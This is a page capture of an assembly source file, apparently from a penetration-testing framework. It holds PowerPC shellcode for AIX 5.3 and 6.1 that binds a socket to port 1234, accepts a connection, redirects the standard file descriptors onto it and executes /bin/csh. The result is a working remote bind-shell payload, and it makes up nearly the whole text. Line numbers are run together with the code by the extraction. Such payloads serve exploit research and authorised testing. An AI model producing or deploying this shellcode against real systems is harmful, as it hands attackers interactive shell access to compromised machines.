Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-bndsockcode.S
Views: 11766
/*1* aix-power-bndsockcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920/*21* Supported AIX versions:22*23* -DAIX614 AIX Version 6.1.424* -DAIX613 AIX Version 6.1.325* -DAIX612 AIX Version 6.1.226* -DAIX611 AIX Version 6.1.127* -DAIX5310 AIX Version 5.3.1028* -DAIX539 AIX Version 5.3.929* -DAIX538 AIX Version 5.3.830* -DAIX537 AIX Version 5.3.731*32*/3334#include "aix-power.h"3536.globl .main37.csect .text[PR]3839.main:4041syscallcode:42xor. %r31,%r31,%r3143bnel syscallcode44mflr %r3045cal %r30,511(%r30)46cal %r30,-511+28(%r30)47mtctr %r3048bctr49crorc %cr6,%cr6,%cr650.long 0x44ffff0251cal %r30,-8(%r30)5253bndsockcode:54lil %r29,__CAL5556# socket5758xor %r5,%r5,%r559cal %r4,-__CAL+1(%r29)60cal %r3,-__CAL+2(%r29)61cal %r2,__NC_socket(%r29)62mtctr %r3063bctrl64mr %r28,%r36566# bind6768cal %r5,-__CAL+16(%r29)69liu %r27,0xff0270oril %r27,%r27,0x04d271stu %r31,-4(%r1)72stu %r27,-4(%r1)73mr %r4,%r174cal %r2,__NC_bind(%r29)75mtctr %r3076bctrl7778# listen7980xor %r4,%r4,%r481mr %r3,%r2882cal %r2,__NC_listen(%r29)83mtctr %r3084bctrl8586# accept8788xor %r5,%r5,%r589xor %r4,%r4,%r490mr %r3,%r2891cal %r2,__NC_accept(%r29)92mtctr %r3093bctrl94mr %r26,%r39596# close9798cal %r25,-__CAL+2(%r29)991000:101mr %r3,%r25102cal %r2,__NC_close(%r29)103mtctr %r30104bctrl105106# kfcntl107108mr %r5,%r25109xor %r4,%r4,%r4110mr %r3,%r26111cal %r2,__NC_kfcntl(%r29)112mtctr %r30113bctrl114115ai. %r25,%r25,-1116bge 0b117118shellcode:119# lil %r29,__CAL120xor. %r5,%r5,%r5121bnel shellcode122# mflr %r30123# cal %r30,511(%r30)124# cal %r3,-511+40(%r30)125# stb %r5,-511+48(%r30)126mflr %r24127cal %r24,511(%r24)128cal %r3,-511+40(%r24)129stb %r5,-511+48(%r24)130stu %r5,-4(%r1)131stu %r3,-4(%r1)132mr %r4,%r1133cal %r2,__NC_execve(%r29)134# crorc %cr6,%cr6,%cr6135# .long 0x44ffff02136mtctr %r30137bctrl138.asciz "/bin/csh"139140141142